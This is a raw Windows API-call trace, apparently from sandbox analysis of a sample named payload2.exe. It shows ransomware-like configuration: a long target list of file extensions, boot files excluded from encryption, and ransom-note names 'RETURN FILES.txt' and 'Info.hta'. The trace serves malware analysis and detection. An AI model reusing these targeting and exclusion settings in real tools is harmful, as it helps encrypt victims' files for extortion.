	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578818
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5786f8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578878
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578890
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578758
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5787e8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5788a8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578848
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531918
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578860
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531958
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578968
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578920
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5788c0
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5786b0
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578800
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578830
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5788f0
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5788d8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5786c8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578710
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578728
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578938
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578950
	[0053.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578980
	[0053.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531938
	[0053.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5787d0
	[0053.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578998
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578278, Size=0x800) returned 0x578e88
	[0053.761] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0053.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575e60 | out: hHeap=0x4f0000) returned 1
	[0053.761] lstrlenW (lpString="") returned 0
	[0053.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579d50 | out: hHeap=0x4f0000) returned 1
	[0053.761] lstrlenW (lpString=".html") returned 5
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5319e8, Size=0x8) returned 0x531738
	[0053.761] lstrlenW (lpString=".html") returned 5
	[0053.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579e70 | out: hHeap=0x4f0000) returned 1
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579d20, Size=0x20) returned 0x52d318
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d318, Size=0x40) returned 0x507740
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507740, Size=0x80) returned 0x575788
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5319e8, Size=0x8) returned 0x531768
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531768, Size=0x10) returned 0x579d50
	[0053.761] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579d50, Size=0x20) returned 0x52d250
	[0053.762] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0053.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575788 | out: hHeap=0x4f0000) returned 1
	[0053.762] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579e58, Size=0x20) returned 0x52d3e0
	[0053.762] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d3e0, Size=0x40) returned 0x5074b8
	[0053.762] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0053.762] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0053.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5074b8 | out: hHeap=0x4f0000) returned 1
	[0053.762] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579d50, Size=0x20) returned 0x52d5c0
	[0053.762] lstrlenW (lpString="Info.hta") returned 8
	[0053.762] lstrlenW (lpString="Info.hta") returned 8
	[0053.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5c0 | out: hHeap=0x4f0000) returned 1
	[0053.762] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x564e50, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload2.exe")) returned 0x24
	[0053.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564e50 | out: hHeap=0x4f0000) returned 1
	[0053.762] lstrlenW (lpString="payload2.exe") returned 12
	[0053.762] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d250, Size=0x40) returned 0x5074b8
	[0053.762] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579e58, Size=0x20) returned 0x52d700
	[0053.763] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579e58, Size=0x20) returned 0x52d318
	[0053.763] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d318, Size=0x40) returned 0x507500
	[0053.763] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x575b40
	[0053.763] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575b40, Size=0x100) returned 0x532cb0
	[0053.763] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0053.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0053.763] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x564e50, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0053.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579e98 | out: hHeap=0x4f0000) returned 1
	[0053.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564e50 | out: hHeap=0x4f0000) returned 1
	[0053.764] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531778, Size=0x8) returned 0x531798
	[0053.764] lstrlenW (lpString="%windir%;") returned 9
	[0053.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d700 | out: hHeap=0x4f0000) returned 1
	[0053.764] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0053.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554e48 | out: hHeap=0x4f0000) returned 1
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579d50, Size=0x20) returned 0x52d5c0
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d5c0, Size=0x40) returned 0x507500
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x5755f0
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5755f0, Size=0x100) returned 0x532cb0
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5317c8, Size=0x8) returned 0x531838
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531838, Size=0x10) returned 0x579d68
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579d68, Size=0x20) returned 0x52d250
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531678, Size=0x8) returned 0x531728
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531788, Size=0x8) returned 0x531678
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531758, Size=0x8) returned 0x5317d8
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5317d8, Size=0x10) returned 0x579798
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579798, Size=0x20) returned 0x52d5e8
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531728, Size=0x10) returned 0x5796f0
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531678, Size=0x10) returned 0x579978
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531818, Size=0x8) returned 0x5316b8
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5316e8, Size=0x8) returned 0x5317b8
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5796f0, Size=0x20) returned 0x52d688
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579978, Size=0x20) returned 0x52d278
	[0053.765] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5317f8, Size=0x8) returned 0x531678
	[0053.766] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0053.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0053.766] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579798, Size=0x20) returned 0x52d520
	[0053.766] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x579e98, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0053.766] lstrlenW (lpString="C:\\") returned 3
	[0053.766] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0053.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579e98 | out: hHeap=0x4f0000) returned 1
	[0053.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531768, Size=0x82) returned 0x532d40
	[0053.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531778, Size=0x100) returned 0x532dd0
	[0053.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532d40, Size=0x104) returned 0x578398
	[0053.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532dd0, Size=0x200) returned 0x575e60
	[0053.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578278, Size=0x104) returned 0x5784a8
	[0053.767] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5759a8, Size=0x100) returned 0x532d40
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5316c8 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575e60 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5799a8 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cd8 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579990 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575a30 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5797b0 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x578398 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579840 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5784a8 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5796f0 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x578308 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579720 | out: hHeap=0x4f0000) returned 1
	[0053.768] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5798e8, Size=0x20) returned 0x52d2a0
	[0053.768] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d2a0, Size=0x40) returned 0x507818
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5317d8 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579828 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579798 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d40 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579900 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x531788 | out: hHeap=0x4f0000) returned 1
	[0053.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5797f8 | out: hHeap=0x4f0000) returned 1
	[0053.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506300 | out: hHeap=0x4f0000) returned 1
	[0053.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5058c0 | out: hHeap=0x4f0000) returned 1
	[0053.769] lstrlenW (lpString="%systemdrive%") returned 13
	[0053.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d520 | out: hHeap=0x4f0000) returned 1
	[0053.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575bc8 | out: hHeap=0x4f0000) returned 1
	[0053.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5316e8 | out: hHeap=0x4f0000) returned 1
	[0053.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x534630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579828, Size=0x20) returned 0x52d2f0
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d2f0, Size=0x40) returned 0x5079c8
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5079c8, Size=0x80) returned 0x575810
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575810, Size=0x100) returned 0x5769e0
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5769e0, Size=0x200) returned 0x532cb0
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532cb0, Size=0x400) returned 0x578278
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578278, Size=0x800) returned 0x589eb8
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x589eb8, Size=0x1000) returned 0x589eb8
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531788, Size=0x8) returned 0x5317d8
	[0053.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5317d8, Size=0x10) returned 0x579810
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579810, Size=0x20) returned 0x52d4f8
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d4f8, Size=0x40) returned 0x5078a8
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5078a8, Size=0x80) returned 0x575348
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575348, Size=0x100) returned 0x575e88
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575e88, Size=0x200) returned 0x532cb0
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532cb0, Size=0x400) returned 0x578278
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578278, Size=0x800) returned 0x546a60
	[0053.771] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0053.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x589eb8 | out: hHeap=0x4f0000) returned 1
	[0053.771] lstrlenW (lpString="") returned 0
	[0053.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58cbf8 | out: hHeap=0x4f0000) returned 1
	[0053.771] lstrlenW (lpString=".html") returned 5
	[0053.771] lstrlenW (lpString=".html") returned 5
	[0053.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58cb50 | out: hHeap=0x4f0000) returned 1
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cb20, Size=0x20) returned 0x52d318
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d318, Size=0x40) returned 0x5078a8
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5078a8, Size=0x80) returned 0x575920
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5469e8, Size=0x8) returned 0x5468e8
	[0053.771] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5468e8, Size=0x10) returned 0x58cd48
	[0053.772] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cd48, Size=0x20) returned 0x52d520
	[0053.772] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0053.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575920 | out: hHeap=0x4f0000) returned 1
	[0053.772] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cbc8, Size=0x20) returned 0x52d2f0
	[0053.772] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d2f0, Size=0x40) returned 0x507668
	[0053.772] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0053.772] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0053.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507668 | out: hHeap=0x4f0000) returned 1
	[0053.772] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58ccb8, Size=0x20) returned 0x52d5c0
	[0053.772] lstrlenW (lpString="Info.hta") returned 8
	[0053.772] lstrlenW (lpString="Info.hta") returned 8
	[0053.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5c0 | out: hHeap=0x4f0000) returned 1
	[0053.772] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x564e50, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload2.exe")) returned 0x24
	[0053.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564e50 | out: hHeap=0x4f0000) returned 1
	[0053.772] lstrlenW (lpString="payload2.exe") returned 12
	[0053.772] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d520, Size=0x40) returned 0x5078a8
	[0053.772] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cdd8, Size=0x20) returned 0x52d660
	[0053.773] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cc40, Size=0x20) returned 0x52d570
	[0053.773] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d570, Size=0x40) returned 0x507740
	[0053.773] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507740, Size=0x80) returned 0x575018
	[0053.773] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575018, Size=0x100) returned 0x576098
	[0053.773] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0053.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576098 | out: hHeap=0x4f0000) returned 1
	[0053.773] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x564e50, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0053.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ced0 | out: hHeap=0x4f0000) returned 1
	[0053.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564e50 | out: hHeap=0x4f0000) returned 1
